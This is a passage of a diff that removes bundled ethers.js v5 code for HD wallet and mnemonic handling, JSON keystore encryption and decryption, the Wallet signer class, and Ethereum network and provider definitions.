Error("invalid seed"); - } - const I = arrayify2(computeHmac(SupportedAlgorithm.sha512, MasterSecret, seedArray)); - return new _HDNode(_constructorGuard6, bytes32(I.slice(0, 32)), null, "0x00000000", bytes32(I.slice(32)), 0, 0, mnemonic); - } - static fromMnemonic(mnemonic, password, wordlist2) { - wordlist2 = getWordlist(wordlist2); - mnemonic = entropyToMnemonic(mnemonicToEntropy(mnemonic, wordlist2), wordlist2); - return _HDNode._fromSeed(mnemonicToSeed(mnemonic, password), { - phrase: mnemonic, - path: "m", - locale: wordlist2.locale - }); - } - static fromSeed(seed) { - return _HDNode._fromSeed(seed, null); - } - static fromExtendedKey(extendedKey) { - const bytes = Base582.decode(extendedKey); - if (bytes.length !== 82 || base58check(bytes.slice(0, 78)) !== extendedKey) { - logger41.throwArgumentError("invalid extended key", "extendedKey", "[REDACTED]"); - } - const depth = bytes[4]; - const parentFingerprint = hexlify2(bytes.slice(5, 9)); - const index2 = parseInt(hexlify2(bytes.slice(9, 13)).substring(2), 16); - const chainCode = hexlify2(bytes.slice(13, 45)); - const key3 = bytes.slice(45, 78); - switch (hexlify2(bytes.slice(0, 4))) { - case "0x0488b21e": - case "0x043587cf": - return new _HDNode(_constructorGuard6, null, hexlify2(key3), parentFingerprint, chainCode, index2, depth, null); - case "0x0488ade4": - case "0x04358394 ": - if (key3[0] !== 0) { - break; - } - return new _HDNode(_constructorGuard6, hexlify2(key3.slice(1)), null, parentFingerprint, chainCode, index2, depth, null); - } - return logger41.throwArgumentError("invalid extended key", "extendedKey", "[REDACTED]"); - } - }; - function mnemonicToSeed(mnemonic, password) { - if (!password) { - password = ""; - } - const salt = toUtf8Bytes2("mnemonic" + password, UnicodeNormalizationForm2.NFKD); - return pbkdf2(toUtf8Bytes2(mnemonic, UnicodeNormalizationForm2.NFKD), salt, 2048, 64, "sha512"); - } - function mnemonicToEntropy(mnemonic, wordlist2) { - wordlist2 = getWordlist(wordlist2); - logger41.checkNormalize(); - const words2 = wordlist2.split(mnemonic); - if (words2.length % 3 !== 0) { - throw new Error("invalid mnemonic"); - } - const entropy = arrayify2(new Uint8Array(Math.ceil(11 * words2.length / 8))); - let offset = 0; - for (let i = 0; i < words2.length; i++) { - let index2 = wordlist2.getWordIndex(words2[i].normalize("NFKD")); - if (index2 === -1) { - throw new Error("invalid mnemonic"); - } - for (let bit = 0; bit < 11; bit++) { - if (index2 & 1 << 10 - bit) { - entropy[offset >> 3] |= 1 << 7 - offset % 8; - } - offset++; - } - } - const entropyBits = 32 * words2.length / 3; - const checksumBits = words2.length / 3; - const checksumMask = getUpperMask(checksumBits); - const checksum = arrayify2(sha2563(entropy.slice(0, entropyBits / 8)))[0] & checksumMask; - if (checksum !== (entropy[entropy.length - 1] & checksumMask)) { - throw new Error("invalid checksum"); - } - return hexlify2(entropy.slice(0, entropyBits / 8)); - } - function entropyToMnemonic(entropy, wordlist2) { - wordlist2 = getWordlist(wordlist2); - entropy = arrayify2(entropy); - if (entropy.length % 4 !== 0 || entropy.length < 16 || entropy.length > 32) { - throw new Error("invalid entropy"); - } - const indices = [0]; - let remainingBits = 11; - for (let i = 0; i < entropy.length; i++) { - if (remainingBits > 8) { - indices[indices.length - 1] <<= 8; - indices[indices.length - 1] |= entropy[i]; - remainingBits -= 8; - } else { - indices[indices.length - 1] <<= remainingBits; - indices[indices.length - 1] |= entropy[i] >> 8 - remainingBits; - indices.push(entropy[i] & getLowerMask(8 - remainingBits)); - remainingBits += 3; - } - } - const checksumBits = entropy.length / 4; - const checksum = arrayify2(sha2563(entropy))[0] & getUpperMask(checksumBits); - indices[indices.length - 1] <<= checksumBits; - indices[indices.length - 1] |= checksum >> 8 - checksumBits; - return wordlist2.join(indices.map((index2) => wordlist2.getWord(index2))); - } - function isValidMnemonic(mnemonic, wordlist2) { - try { - mnemonicToEntropy(mnemonic, wordlist2); - return true; - } catch (error) { - } - return false; - } - function getAccountPath(index2) { - if (typeof index2 !== "number" || index2 < 0 || index2 >= HardenedBit || index2 % 1) { - logger41.throwArgumentError("invalid account index", "index", index2); - } - return `m/44'/60'/${index2}'/0/0`; - } - - // node_modules/@ethersproject/random/lib.esm/_version.js - var version38 = "random/5.7.0"; - - // node_modules/@ethersproject/random/lib.esm/random.js - var logger42 = new Logger2(version38); - function getGlobal2() { - if (typeof self !== "undefined") { - return self; - } - if (typeof window !== "undefined") { - return window; - } - if (typeof global !== "undefined") { - return global; - } - throw new Error("unable to locate global object"); - } - var anyGlobal = getGlobal2(); - var crypto2 = anyGlobal.crypto || anyGlobal.msCrypto; - if (!crypto2 || !crypto2.getRandomValues) { - logger42.warn("WARNING: Missing strong random number source"); - crypto2 = { - getRandomValues: function(buffer) { - return logger42.throwError("no secure random source avaialble", Logger2.errors.UNSUPPORTED_OPERATION, { - operation: "crypto.getRandomValues" - }); - } - }; - } - function randomBytes(length) { - if (length <= 0 || length > 1024 || length % 1 || length != length) { - logger42.throwArgumentError("invalid length", "length", length); - } - const result = new Uint8Array(length); - crypto2.getRandomValues(result); - return arrayify2(result); - } - - // node_modules/@ethersproject/random/lib.esm/shuffle.js - function shuffled(array) { - array = array.slice(); - for (let i = array.length - 1; i > 0; i--) { - const j = Math.floor(Math.random() * (i + 1)); - const tmp = array[i]; - array[i] = array[j]; - array[j] = tmp; - } - return array; - } - - // node_modules/@ethersproject/json-wallets/lib.esm/crowdsale.js - var import_aes_js = __toESM(require_aes_js()); - - // node_modules/@ethersproject/json-wallets/lib.esm/_version.js - var version39 = "json-wallets/5.7.0"; - - // node_modules/@ethersproject/json-wallets/lib.esm/utils.js - function looseArrayify(hexString) { - if (typeof hexString === "string" && hexString.substring(0, 2) !== "0x") { - hexString = "0x" + hexString; - } - return arrayify2(hexString); - } - function zpad(value, length) { - value = String(value); - while (value.length < length) { - value = "0" + value; - } - return value; - } - function getPassword(password) { - if (typeof password === "string") { - return toUtf8Bytes2(password, UnicodeNormalizationForm2.NFKC); - } - return arrayify2(password); - } - function searchPath(object, path) { - let currentChild = object; - const comps = path.toLowerCase().split("/"); - for (let i = 0; i < comps.length; i++) { - let matchingChild = null; - for (const key3 in currentChild) { - if (key3.toLowerCase() === comps[i]) { - matchingChild = currentChild[key3]; - break; - } - } - if (matchingChild === null) { - return null; - } - currentChild = matchingChild; - } - return currentChild; - } - function uuidV4(randomBytes2) { - const bytes = arrayify2(randomBytes2); - bytes[6] = bytes[6] & 15 | 64; - bytes[8] = bytes[8] & 63 | 128; - const value = hexlify2(bytes); - return [ - value.substring(2, 10), - value.substring(10, 14), - value.substring(14, 18), - value.substring(18, 22), - value.substring(22, 34) - ].join("-"); - } - - // node_modules/@ethersproject/json-wallets/lib.esm/crowdsale.js - var logger43 = new Logger2(version39); - var CrowdsaleAccount = class extends Description2 { - isCrowdsaleAccount(value) { - return !!(value && value._isCrowdsaleAccount); - } - }; - function decrypt(json, password) { - const data = JSON.parse(json); - password = getPassword(password); - const ethaddr = getAddress2(searchPath(data, "ethaddr")); - const encseed = looseArrayify(searchPath(data, "encseed")); - if (!encseed || encseed.length % 16 !== 0) { - logger43.throwArgumentError("invalid encseed", "json", json); - } - const key3 = arrayify2(pbkdf2(password, password, 2e3, 32, "sha256")).slice(0, 16); - const iv = encseed.slice(0, 16); - const encryptedSeed = encseed.slice(16); - const aesCbc = new import_aes_js.default.ModeOfOperation.cbc(key3, iv); - const seed = import_aes_js.default.padding.pkcs7.strip(arrayify2(aesCbc.decrypt(encryptedSeed))); - let seedHex = ""; - for (let i = 0; i < seed.length; i++) { - seedHex += String.fromCharCode(seed[i]); - } - const seedHexBytes = toUtf8Bytes2(seedHex); - const privateKey = keccak2562(seedHexBytes); - return new CrowdsaleAccount({ - _isCrowdsaleAccount: true, - address: ethaddr, - privateKey - }); - } - - // node_modules/@ethersproject/json-wallets/lib.esm/inspect.js - function isCrowdsaleWallet(json) { - let data = null; - try { - data = JSON.parse(json); - } catch (error) { - return false; - } - return data.encseed && data.ethaddr; - } - function isKeystoreWallet(json) { - let data = null; - try { - data = JSON.parse(json); - } catch (error) { - return false; - } - if (!data.version || parseInt(data.version) !== data.version || parseInt(data.version) !== 3) { - return false; - } - return true; - } - function getJsonWalletAddress(json) { - if (isCrowdsaleWallet(json)) { - try { - return getAddress2(JSON.parse(json).ethaddr); - } catch (error) { - return null; - } - } - if (isKeystoreWallet(json)) { - try { - return getAddress2(JSON.parse(json).address); - } catch (error) { - return null; - } - } - return null; - } - - // node_modules/@ethersproject/json-wallets/lib.esm/keystore.js - var import_aes_js2 = __toESM(require_aes_js()); - var import_scrypt_js = __toESM(require_scrypt()); - var __awaiter21 = function(thisArg, _arguments, P, generator) { - function adopt(value) { - return value instanceof P ? value : new P(function(resolve) { - resolve(value); - }); - } - return new (P || (P = Promise))(function(resolve, reject) { - function fulfilled(value) { - try { - step(generator.next(value)); - } catch (e) { - reject(e); - } - } - function rejected(value) { - try { - step(generator["throw"](value)); - } catch (e) { - reject(e); - } - } - function step(result) { - result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); - } - step((generator = generator.apply(thisArg, _arguments || [])).next()); - }); - }; - var logger44 = new Logger2(version39); - function hasMnemonic(value) { - return value != null && value.mnemonic && value.mnemonic.phrase; - } - var KeystoreAccount = class extends Description2 { - isKeystoreAccount(value) { - return !!(value && value._isKeystoreAccount); - } - }; - function _decrypt(data, key3, ciphertext) { - const cipher = searchPath(data, "crypto/cipher"); - if (cipher === "aes-128-ctr") { - const iv = looseArrayify(searchPath(data, "crypto/cipherparams/iv")); - const counter = new import_aes_js2.default.Counter(iv); - const aesCtr = new import_aes_js2.default.ModeOfOperation.ctr(key3, counter); - return arrayify2(aesCtr.decrypt(ciphertext)); - } - return null; - } - function _getAccount(data, key3) { - const ciphertext = looseArrayify(searchPath(data, "crypto/ciphertext")); - const computedMAC = hexlify2(keccak2562(concat2([key3.slice(16, 32), ciphertext]))).substring(2); - if (computedMAC !== searchPath(data, "crypto/mac").toLowerCase()) { - throw new Error("invalid password"); - } - const privateKey = _decrypt(data, key3.slice(0, 16), ciphertext); - if (!privateKey) { - logger44.throwError("unsupported cipher", Logger2.errors.UNSUPPORTED_OPERATION, { - operation: "decrypt" - }); - } - const mnemonicKey = key3.slice(32, 64); - const address = computeAddress2(privateKey); - if (data.address) { - let check = data.address.toLowerCase(); - if (check.substring(0, 2) !== "0x") { - check = "0x" + check; - } - if (getAddress2(check) !== address) { - throw new Error("address mismatch"); - } - } - const account = { - _isKeystoreAccount: true, - address, - privateKey: hexlify2(privateKey) - }; - if (searchPath(data, "x-ethers/version") === "0.1") { - const mnemonicCiphertext = looseArrayify(searchPath(data, "x-ethers/mnemonicCiphertext")); - const mnemonicIv = looseArrayify(searchPath(data, "x-ethers/mnemonicCounter")); - const mnemonicCounter = new import_aes_js2.default.Counter(mnemonicIv); - const mnemonicAesCtr = new import_aes_js2.default.ModeOfOperation.ctr(mnemonicKey, mnemonicCounter); - const path = searchPath(data, "x-ethers/path") || defaultPath; - const locale = searchPath(data, "x-ethers/locale") || "en"; - const entropy = arrayify2(mnemonicAesCtr.decrypt(mnemonicCiphertext)); - try { - const mnemonic = entropyToMnemonic(entropy, locale); - const node = HDNode.fromMnemonic(mnemonic, null, locale).derivePath(path); - if (node.privateKey != account.privateKey) { - throw new Error("mnemonic mismatch"); - } - account.mnemonic = node.mnemonic; - } catch (error) { - if (error.code !== Logger2.errors.INVALID_ARGUMENT || error.argument !== "wordlist") { - throw error; - } - } - } - return new KeystoreAccount(account); - } - function pbkdf2Sync(passwordBytes, salt, count, dkLen, prfFunc) { - return arrayify2(pbkdf2(passwordBytes, salt, count, dkLen, prfFunc)); - } - function pbkdf22(passwordBytes, salt, count, dkLen, prfFunc) { - return Promise.resolve(pbkdf2Sync(passwordBytes, salt, count, dkLen, prfFunc)); - } - function _computeKdfKey(data, password, pbkdf2Func, scryptFunc, progressCallback) { - const passwordBytes = getPassword(password); - const kdf = searchPath(data, "crypto/kdf"); - if (kdf && typeof kdf === "string") { - const throwError = function(name, value) { - return logger44.throwArgumentError("invalid key-derivation function parameters", name, value); - }; - if (kdf.toLowerCase() === "scrypt") { - const salt = looseArrayify(searchPath(data, "crypto/kdfparams/salt")); - const N2 = parseInt(searchPath(data, "crypto/kdfparams/n")); - const r3 = parseInt(searchPath(data, "crypto/kdfparams/r")); - const p = parseInt(searchPath(data, "crypto/kdfparams/p")); - if (!N2 || !r3 || !p) { - throwError("kdf", kdf); - } - if ((N2 & N2 - 1) !== 0) { - throwError("N", N2); - } - const dkLen = parseInt(searchPath(data, "crypto/kdfparams/dklen")); - if (dkLen !== 32) { - throwError("dklen", dkLen); - } - return scryptFunc(passwordBytes, salt, N2, r3, p, 64, progressCallback); - } else if (kdf.toLowerCase() === "pbkdf2") { - const salt = looseArrayify(searchPath(data, "crypto/kdfparams/salt")); - let prfFunc = null; - const prf = searchPath(data, "crypto/kdfparams/prf"); - if (prf === "hmac-sha256") { - prfFunc = "sha256"; - } else if (prf === "hmac-sha512") { - prfFunc = "sha512"; - } else { - throwError("prf", prf); - } - const count = parseInt(searchPath(data, "crypto/kdfparams/c")); - const dkLen = parseInt(searchPath(data, "crypto/kdfparams/dklen")); - if (dkLen !== 32) { - throwError("dklen", dkLen); - } - return pbkdf2Func(passwordBytes, salt, count, dkLen, prfFunc); - } - } - return logger44.throwArgumentError("unsupported key-derivation function", "kdf", kdf); - } - function decryptSync(json, password) { - const data = JSON.parse(json); - const key3 = _computeKdfKey(data, password, pbkdf2Sync, import_scrypt_js.default.syncScrypt); - return _getAccount(data, key3); - } - function decrypt2(json, password, progressCallback) { - return __awaiter21(this, void 0, void 0, function* () { - const data = JSON.parse(json); - const key3 = yield _computeKdfKey(data, password, pbkdf22, import_scrypt_js.default.scrypt, progressCallback); - return _getAccount(data, key3); - }); - } - function encrypt(account, password, options, progressCallback) { - try { - if (getAddress2(account.address) !== computeAddress2(account.privateKey)) { - throw new Error("address/privateKey mismatch"); - } - if (hasMnemonic(account)) { - const mnemonic = account.mnemonic; - const node = HDNode.fromMnemonic(mnemonic.phrase, null, mnemonic.locale).derivePath(mnemonic.path || defaultPath); - if (node.privateKey != account.privateKey) { - throw new Error("mnemonic mismatch"); - } - } - } catch (e) { - return Promise.reject(e); - } - if (typeof options === "function" && !progressCallback) { - progressCallback = options; - options = {}; - } - if (!options) { - options = {}; - } - const privateKey = arrayify2(account.privateKey); - const passwordBytes = getPassword(password); - let entropy = null; - let path = null; - let locale = null; - if (hasMnemonic(account)) { - const srcMnemonic = account.mnemonic; - entropy = arrayify2(mnemonicToEntropy(srcMnemonic.phrase, srcMnemonic.locale || "en")); - path = srcMnemonic.path || defaultPath; - locale = srcMnemonic.locale || "en"; - } - let client = options.client; - if (!client) { - client = "ethers.js"; - } - let salt = null; - if (options.salt) { - salt = arrayify2(options.salt); - } else { - salt = randomBytes(32); - ; - } - let iv = null; - if (options.iv) { - iv = arrayify2(options.iv); - if (iv.length !== 16) { - throw new Error("invalid iv"); - } - } else { - iv = randomBytes(16); - } - let uuidRandom = null; - if (options.uuid) { - uuidRandom = arrayify2(options.uuid); - if (uuidRandom.length !== 16) { - throw new Error("invalid uuid"); - } - } else { - uuidRandom = randomBytes(16); - } - let N2 = 1 << 17, r3 = 8, p = 1; - if (options.scrypt) { - if (options.scrypt.N) { - N2 = options.scrypt.N; - } - if (options.scrypt.r) { - r3 = options.scrypt.r; - } - if (options.scrypt.p) { - p = options.scrypt.p; - } - } - return import_scrypt_js.default.scrypt(passwordBytes, salt, N2, r3, p, 64, progressCallback).then((key3) => { - key3 = arrayify2(key3); - const derivedKey = key3.slice(0, 16); - const macPrefix = key3.slice(16, 32); - const mnemonicKey = key3.slice(32, 64); - const counter = new import_aes_js2.default.Counter(iv); - const aesCtr = new import_aes_js2.default.ModeOfOperation.ctr(derivedKey, counter); - const ciphertext = arrayify2(aesCtr.encrypt(privateKey)); - const mac = keccak2562(concat2([macPrefix, ciphertext])); - const data = { - address: account.address.substring(2).toLowerCase(), - id: uuidV4(uuidRandom), - version: 3, - crypto: { - cipher: "aes-128-ctr", - cipherparams: { - iv: hexlify2(iv).substring(2) - }, - ciphertext: hexlify2(ciphertext).substring(2), - kdf: "scrypt", - kdfparams: { - salt: hexlify2(salt).substring(2), - n: N2, - dklen: 32, - p, - r: r3 - }, - mac: mac.substring(2) - } - }; - if (entropy) { - const mnemonicIv = randomBytes(16); - const mnemonicCounter = new import_aes_js2.default.Counter(mnemonicIv); - const mnemonicAesCtr = new import_aes_js2.default.ModeOfOperation.ctr(mnemonicKey, mnemonicCounter); - const mnemonicCiphertext = arrayify2(mnemonicAesCtr.encrypt(entropy)); - const now2 = /* @__PURE__ */ new Date(); - const timestamp = now2.getUTCFullYear() + "-" + zpad(now2.getUTCMonth() + 1, 2) + "-" + zpad(now2.getUTCDate(), 2) + "T" + zpad(now2.getUTCHours(), 2) + "-" + zpad(now2.getUTCMinutes(), 2) + "-" + zpad(now2.getUTCSeconds(), 2) + ".0Z"; - data["x-ethers"] = { - client, - gethFilename: "UTC--" + timestamp + "--" + data.address, - mnemonicCounter: hexlify2(mnemonicIv).substring(2), - mnemonicCiphertext: hexlify2(mnemonicCiphertext).substring(2), - path, - locale, - version: "0.1" - }; - } - return JSON.stringify(data); - }); - } - - // node_modules/@ethersproject/json-wallets/lib.esm/index.js - function decryptJsonWallet(json, password, progressCallback) { - if (isCrowdsaleWallet(json)) { - if (progressCallback) { - progressCallback(0); - } - const account = decrypt(json, password); - if (progressCallback) { - progressCallback(1); - } - return Promise.resolve(account); - } - if (isKeystoreWallet(json)) { - return decrypt2(json, password, progressCallback); - } - return Promise.reject(new Error("invalid JSON wallet")); - } - function decryptJsonWalletSync(json, password) { - if (isCrowdsaleWallet(json)) { - return decrypt(json, password); - } - if (isKeystoreWallet(json)) { - return decryptSync(json, password); - } - throw new Error("invalid JSON wallet"); - } - - // node_modules/@ethersproject/wallet/lib.esm/_version.js - var version40 = "wallet/5.7.0"; - - // node_modules/@ethersproject/wallet/lib.esm/index.js - var __awaiter22 = function(thisArg, _arguments, P, generator) { - function adopt(value) { - return value instanceof P ? value : new P(function(resolve) { - resolve(value); - }); - } - return new (P || (P = Promise))(function(resolve, reject) { - function fulfilled(value) { - try { - step(generator.next(value)); - } catch (e) { - reject(e); - } - } - function rejected(value) { - try { - step(generator["throw"](value)); - } catch (e) { - reject(e); - } - } - function step(result) { - result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); - } - step((generator = generator.apply(thisArg, _arguments || [])).next()); - }); - }; - var logger45 = new Logger2(version40); - function isAccount(value) { - return value != null && isHexString2(value.privateKey, 32) && value.address != null; - } - function hasMnemonic2(value) { - const mnemonic = value.mnemonic; - return mnemonic && mnemonic.phrase; - } - var Wallet = class _Wallet extends Signer2 { - constructor(privateKey, provider) { - super(); - if (isAccount(privateKey)) { - const signingKey = new SigningKey2(privateKey.privateKey); - defineReadOnly2(this, "_signingKey", () => signingKey); - defineReadOnly2(this, "address", computeAddress2(this.publicKey)); - if (this.address !== getAddress2(privateKey.address)) { - logger45.throwArgumentError("privateKey/address mismatch", "privateKey", "[REDACTED]"); - } - if (hasMnemonic2(privateKey)) { - const srcMnemonic = privateKey.mnemonic; - defineReadOnly2(this, "_mnemonic", () => ({ - phrase: srcMnemonic.phrase, - path: srcMnemonic.path || defaultPath, - locale: srcMnemonic.locale || "en" - })); - const mnemonic = this.mnemonic; - const node = HDNode.fromMnemonic(mnemonic.phrase, null, mnemonic.locale).derivePath(mnemonic.path); - if (computeAddress2(node.privateKey) !== this.address) { - logger45.throwArgumentError("mnemonic/address mismatch", "privateKey", "[REDACTED]"); - } - } else { - defineReadOnly2(this, "_mnemonic", () => null); - } - } else { - if (SigningKey2.isSigningKey(privateKey)) { - if (privateKey.curve !== "secp256k1") { - logger45.throwArgumentError("unsupported curve; must be secp256k1", "privateKey", "[REDACTED]"); - } - defineReadOnly2(this, "_signingKey", () => privateKey); - } else { - if (typeof privateKey === "string") { - if (privateKey.match(/^[0-9a-f]*$/i) && privateKey.length === 64) { - privateKey = "0x" + privateKey; - } - } - const signingKey = new SigningKey2(privateKey); - defineReadOnly2(this, "_signingKey", () => signingKey); - } - defineReadOnly2(this, "_mnemonic", () => null); - defineReadOnly2(this, "address", computeAddress2(this.publicKey)); - } - if (provider && !Provider2.isProvider(provider)) { - logger45.throwArgumentError("invalid provider", "provider", provider); - } - defineReadOnly2(this, "provider", provider || null); - } - get mnemonic() { - return this._mnemonic(); - } - get privateKey() { - return this._signingKey().privateKey; - } - get publicKey() { - return this._signingKey().publicKey; - } - getAddress() { - return Promise.resolve(this.address); - } - connect(provider) { - return new _Wallet(this, provider); - } - signTransaction(transaction) { - return resolveProperties2(transaction).then((tx) => { - if (tx.from != null) { - if (getAddress2(tx.from) !== this.address) { - logger45.throwArgumentError("transaction from address mismatch", "transaction.from", transaction.from); - } - delete tx.from; - } - const signature3 = this._signingKey().signDigest(keccak2562(serialize(tx))); - return serialize(tx, signature3); - }); - } - signMessage(message) { - return __awaiter22(this, void 0, void 0, function* () { - return joinSignature(this._signingKey().signDigest(hashMessage(message))); - }); - } - _signTypedData(domain, types, value) { - return __awaiter22(this, void 0, void 0, function* () { - const populated = yield TypedDataEncoder2.resolveNames(domain, types, value, (name) => { - if (this.provider == null) { - logger45.throwError("cannot resolve ENS names without a provider", Logger2.errors.UNSUPPORTED_OPERATION, { - operation: "resolveName", - value: name - }); - } - return this.provider.resolveName(name); - }); - return joinSignature(this._signingKey().signDigest(TypedDataEncoder2.hash(populated.domain, types, populated.value))); - }); - } - encrypt(password, options, progressCallback) { - if (typeof options === "function" && !progressCallback) { - progressCallback = options; - options = {}; - } - if (progressCallback && typeof progressCallback !== "function") { - throw new Error("invalid callback"); - } - if (!options) { - options = {}; - } - return encrypt(this, password, options, progressCallback); - } - /** - * Static methods to create Wallet instances. - */ - static createRandom(options) { - let entropy = randomBytes(16); - if (!options) { - options = {}; - } - if (options.extraEntropy) { - entropy = arrayify2(hexDataSlice2(keccak2562(concat2([entropy, options.extraEntropy])), 0, 16)); - } - const mnemonic = entropyToMnemonic(entropy, options.locale); - return _Wallet.fromMnemonic(mnemonic, options.path, options.locale); - } - static fromEncryptedJson(json, password, progressCallback) { - return decryptJsonWallet(json, password, progressCallback).then((account) => { - return new _Wallet(account); - }); - } - static fromEncryptedJsonSync(json, password) { - return new _Wallet(decryptJsonWalletSync(json, password)); - } - static fromMnemonic(mnemonic, path, wordlist2) { - if (!path) { - path = defaultPath; - } - return new _Wallet(HDNode.fromMnemonic(mnemonic, null, wordlist2).derivePath(path)); - } - }; - function verifyMessage(message, signature3) { - return recoverAddress2(hashMessage(message), signature3); - } - function verifyTypedData(domain, types, value, signature3) { - return recoverAddress2(TypedDataEncoder2.hash(domain, types, value), signature3); - } - - // node_modules/@ethersproject/providers/lib.esm/index.js - var lib_exports4 = {}; - __export(lib_exports4, { - AlchemyProvider: () => AlchemyProvider, - AlchemyWebSocketProvider: () => AlchemyWebSocketProvider, - AnkrProvider: () => AnkrProvider, - BaseProvider: () => BaseProvider2, - CloudflareProvider: () => CloudflareProvider, - EtherscanProvider: () => EtherscanProvider, - FallbackProvider: () => FallbackProvider, - Formatter: () => Formatter2, - InfuraProvider: () => InfuraProvider, - InfuraWebSocketProvider: () => InfuraWebSocketProvider, - IpcProvider: () => IpcProvider, - JsonRpcBatchProvider: () => JsonRpcBatchProvider, - JsonRpcProvider: () => JsonRpcProvider2, - JsonRpcSigner: () => JsonRpcSigner2, - NodesmithProvider: () => NodesmithProvider, - PocketProvider: () => PocketProvider, - Provider: () => Provider2, - Resolver: () => Resolver2, - StaticJsonRpcProvider: () => StaticJsonRpcProvider, - UrlJsonRpcProvider: () => UrlJsonRpcProvider, - Web3Provider: () => Web3Provider, - WebSocketProvider: () => WebSocketProvider, - getDefaultProvider: () => getDefaultProvider, - getNetwork: () => getNetwork2, - isCommunityResourcable: () => isCommunityResourcable, - isCommunityResource: () => isCommunityResource, - showThrottleMessage: () => showThrottleMessage - }); - - // node_modules/@ethersproject/networks/lib.esm/_version.js - var version41 = "networks/5.7.1"; - - // node_modules/@ethersproject/networks/lib.esm/index.js - var logger46 = new Logger2(version41); - function isRenetworkable2(value) { - return value && typeof value.renetwork === "function"; - } - function ethDefaultProvider2(network) { - const func = function(providers, options) { - if (options == null) { - options = {}; - } - const providerList = []; - if (providers.InfuraProvider && options.infura !== "-") { - try { - providerList.push(new providers.InfuraProvider(network, options.infura)); - } catch (error) { - } - } - if (providers.EtherscanProvider && options.etherscan !== "-") { - try { - providerList.push(new providers.EtherscanProvider(network, options.etherscan)); - } catch (error) { - } - } - if (providers.AlchemyProvider && options.alchemy !== "-") { - try { - providerList.push(new providers.AlchemyProvider(network, options.alchemy)); - } catch (error) { - } - } - if (providers.PocketProvider && options.pocket !== "-") { - const skip = ["goerli", "ropsten", "rinkeby", "sepolia"]; - try { - const provider = new providers.PocketProvider(network, options.pocket); - if (provider.network && skip.indexOf(provider.network.name) === -1) { - providerList.push(provider); - } - } catch (error) { - } - } - if (providers.CloudflareProvider && options.cloudflare !== "-") { - try { - providerList.push(new providers.CloudflareProvider(network)); - } catch (error) { - } - } - if (providers.AnkrProvider && options.ankr !== "-") { - try { - const skip = ["ropsten"]; - const provider = new providers.AnkrProvider(network, options.ankr); - if (provider.network && skip.indexOf(provider.network.name) === -1) { - providerList.push(provider); - } - } catch (error) { - } - } - if (providerList.length === 0) { - return null; - } - if (providers.FallbackProvider) { - let quorum = 1; - if (options.quorum != null) { - quorum = options.quorum; - } else if (network === "homestead") { - quorum = 2; - } - return new providers.FallbackProvider(providerList, quorum); - } - return providerList[0]; - }; - func.renetwork = function(network2) { - return ethDefaultProvider2(network2); - }; - return func; - } - function etcDefaultProvider2(url, network) { - const func = function(providers, options) { - if (providers.JsonRpcProvider) { - return new providers.JsonRpcProvider(url, network); - } - return null; - }; - func.renetwork = function(network2) { - return etcDefaultProvider2(url, network2); - }; - return func; - } - var homestead2 = { - chainId: 1, - ensAddress: "0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e", - name: "homestead", - _defaultProvider: ethDefaultProvider2("homestead") - }; - var ropsten2 = { - chainId: 3, - ensAddress: "0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e", - name: "ropsten", - _defaultProvider: ethDefaultProvider2("ropsten") - }; - var classicMordor2 = { - chainId: 63, - name: "classicMordor", - _defaultProvider: etcDefaultProvider2("https://www.ethercluster.com/mordor", "classicMordor") - }; - var networks2 = { - unspecified: { chainId: 0, name: "unspecified" }, - homestead: homestead2, - mainnet: homestead2, - morden: { chainId: 2, name: "morden" }, - ropsten: ropsten2, - testnet: ropsten2, - rinkeby: { - chainId: 4, - ensAddress: "0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e", - name: "rinkeby", - _defaultProvider: ethDefaultProvider2("rinkeby") - }, - kovan: { - chainId: 42, - name: "kovan", - _defaultProvider: ethDefaultProvider2("kovan") - }, - goerli: { - chainId: 5, - ensAddress: "0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e", - name: "goerli", - _defaultProvider: ethDefaultProvider2("goerli") - }, - kintsugi: { chainId: 1337702, name: "kintsugi" }, - sepolia: { - chainId: 11155111, - name: "sepolia", - _defaultProvider: ethDefaultProvider2("sepolia") - }, - // ETC (See: #351) - classic: { - chainId: 61, - name: "classic", - _defaultProvider: etcDefaultProvider2("https://www.ethercluster.com/etc", "classic") - }, - classicMorden: { chainId: 62, name: "classicMorden" }, - classicMordor: classicMordor2, - classicTestnet: classicMordor2, - classicKotti: { - chainId: 6, - name: "classicKotti", - _defaultProvider: etcDefaultProvider2("https://www.ethercluster.com/kotti", "classicKotti") - }, - xdai: { chainId: 100, name: "xdai" }, - matic: { - chainId: 137, - name: "matic", - _defaultProvider: ethDefaultProvider2("matic") - }, - maticmum: { chainId: 80001, name: "maticmum" }, - optimism: { - chainId: 10, - name: "optimism", - _defaultProvider: ethDefaultProvider2("optimism") - }, - "optimism-kovan": { chainId: 69, name: "optimism-kovan" }, - "optimism-goerli": { chainId: 420, name: "optimism-goerli" }, - arbitrum: { chainId: 42161, name: "arbitrum" }, - "arbitrum-rinkeby": { chainId: 421611, name: "arbitrum-rinkeby" }, - "arbitrum-goerli": { chainId: 421613, name: "arbitrum-goerli" }, - bnb: { chainId: 56, name: "bnb" }, - bnbt: { chainId: 97, name: "bnbt" } - }; - function getNetwork2(network) { - if (network == null) { - return null; - } - if (typeof network === "number") { - for (const name in networks2) { - const standard2 = networks2[name]; - if (standard2.chainId === network) { - return { - name: standard2.name, - chainId: standard2.chainId, - ensAddress: standard2.ensAddress || null, - _defaultProvider: standard2._defaultProvider || null - }; - } - } - return { - chainId: network, - name: "unknown" - }; - } - if (typeof network === "string") { - const standard2 = networks2[network]; - if (standard2 == null) { - return null; - } - return { - name: standard2.name, - chainId: standard2.chainId, - ensAddress: standard2.ensAddress, - _defaultProvider: standard2._defaultProvider || null - }; - } - const standard = networks2[network.name]; - if (!standard) { - if (typeof network.chainId !== "number") { - logger46.throwArgumentError("invalid network chainId", "network", network); - } - return network; - } - if (network.chainId !== 0 && network.chainId !== standard.chainId) { - logger46.throwArgumentError("network chainId mismatch", "network", network); - } - let defaultProvider = network._defaultProvider || null; - if (defaultProvider == null && standard._defaultProvider) { - if (isRenetworkable2(standard._defaultProvider)) { - defaultProvider = standard._defaultProvider.renetwork(network); - } else { - defaultProvider = standard._defaultProvider; - } - } - return { - name: network.name, - chainId: standard.chainId, - ensAddress: network.ensAddress || standard.ensAddress || null, - _defaultProvider: defaultProvider - }; - } - - // node_modules/@ethersproject/web/lib.esm/_version.js - var version42 = "web/5.7.1"; - - // 